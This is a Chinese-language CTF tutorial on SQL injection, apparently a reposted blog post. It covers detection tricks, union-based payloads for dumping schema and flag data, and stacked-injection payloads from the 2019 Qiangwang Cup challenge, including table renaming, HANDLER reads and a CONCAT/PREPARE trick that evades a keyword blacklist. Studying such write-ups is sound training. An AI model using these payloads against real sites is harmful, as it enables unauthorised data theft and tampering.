CTF賽事之SQL注入(一篇讓你認識它)


 

  

15:29:48下面列舉常見的判斷SQL注入的方式。但是目前大部分網站都對此有防御,真正發現網頁存在SQL注入漏洞,還得靠技術和經驗了。

 

二話不說,先加單引號、雙引號、單括號、雙括號等看看是否報錯,如果報錯就肯定存在SQL注入漏洞了。

 

還有在URL后面加and 1=1 、 and 1=2看頁面是否顯示一樣,顯示不一樣的話,肯定存在SQL注入漏洞了。

 

 

 

 

嘗試sql注入猜字段(實列講解,猜測):

1' order by 3# 返回正常

1' order by 4# 錯誤

1' union select 1,2,3#

爆數據庫名:

1' union select 1,database(),3#

爆表名:

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news"#

爆列名:

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #

讀數據:

1' union select 1,fl4g,3 from secret_table#

 

so easy!!!

 

總結流程:

 

1.尋找注入點(基於報錯、基於布爾值、基於時間盲注、基於聯合查詢)

2.判斷是注入點之后丟sqlmap或者選擇手工注入

3.手工注入的話爆出當前數據庫名(如果盲注的話使用二分法猜解)

4.猜解表名

5.猜解字段名

6.猜解數據

 

然后學習刷題深入(堆疊注入):

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);         #關鍵字都被過濾標志

 

利用堆疊注入,查詢所有數據庫:1';show databases;#

 

查詢所有表:1';show tables;#

 

查詢表中所有列:1';show columns from words;#

 

查詢表中所有列:1';show columns from `1919810931114514`;#      (字符串為表名操作時要加反引號)

 

因發現過濾標志但沒有禁用rename和alert。  so呢?  采用修改表結構的方法來得到flag 

 

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

將words表名改為words1,再將數字名表改為words,這樣數字名表就是默認查詢的表了,但是它少了一個id列,可以將flag字段改為id

 

(太麻煩嗎。有點哦!換一種方法:使用handler查詢,payload如下:-1';handler `1919810931114514` open;handler `1919810931114514` read first;#)

 

oh my god!

到此為止了嗎? 不不不,look down:

 

2019強網杯"隨便注"學習:

 

 

 

啥東西?看不懂啊! 看看百度叭.....(網絡如此強大,要學會利用)

 

1. 探測有無注入

2. 嘗試獲取列數

3. 嘗試獲取數據庫名,用戶等基本信息:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); #好吧,又被過濾了


1. 接下來我們嘗試堆疊注入能否可行。

-1';show tables# 原來如此!!!(還是嘗試出來的,太難了)
 

2. 堆疊注入可行,然后看一下表的字段

 

3. 查數據    上一步我們可以得知flag存在於supersqli數據庫中的1919810931114514表的flag字段。

select * from `1919810931114514`;(select被過濾了,想辦法叭)


4.構造payload:-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

 

 

15:18:59

先到這叭,后續更新...

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM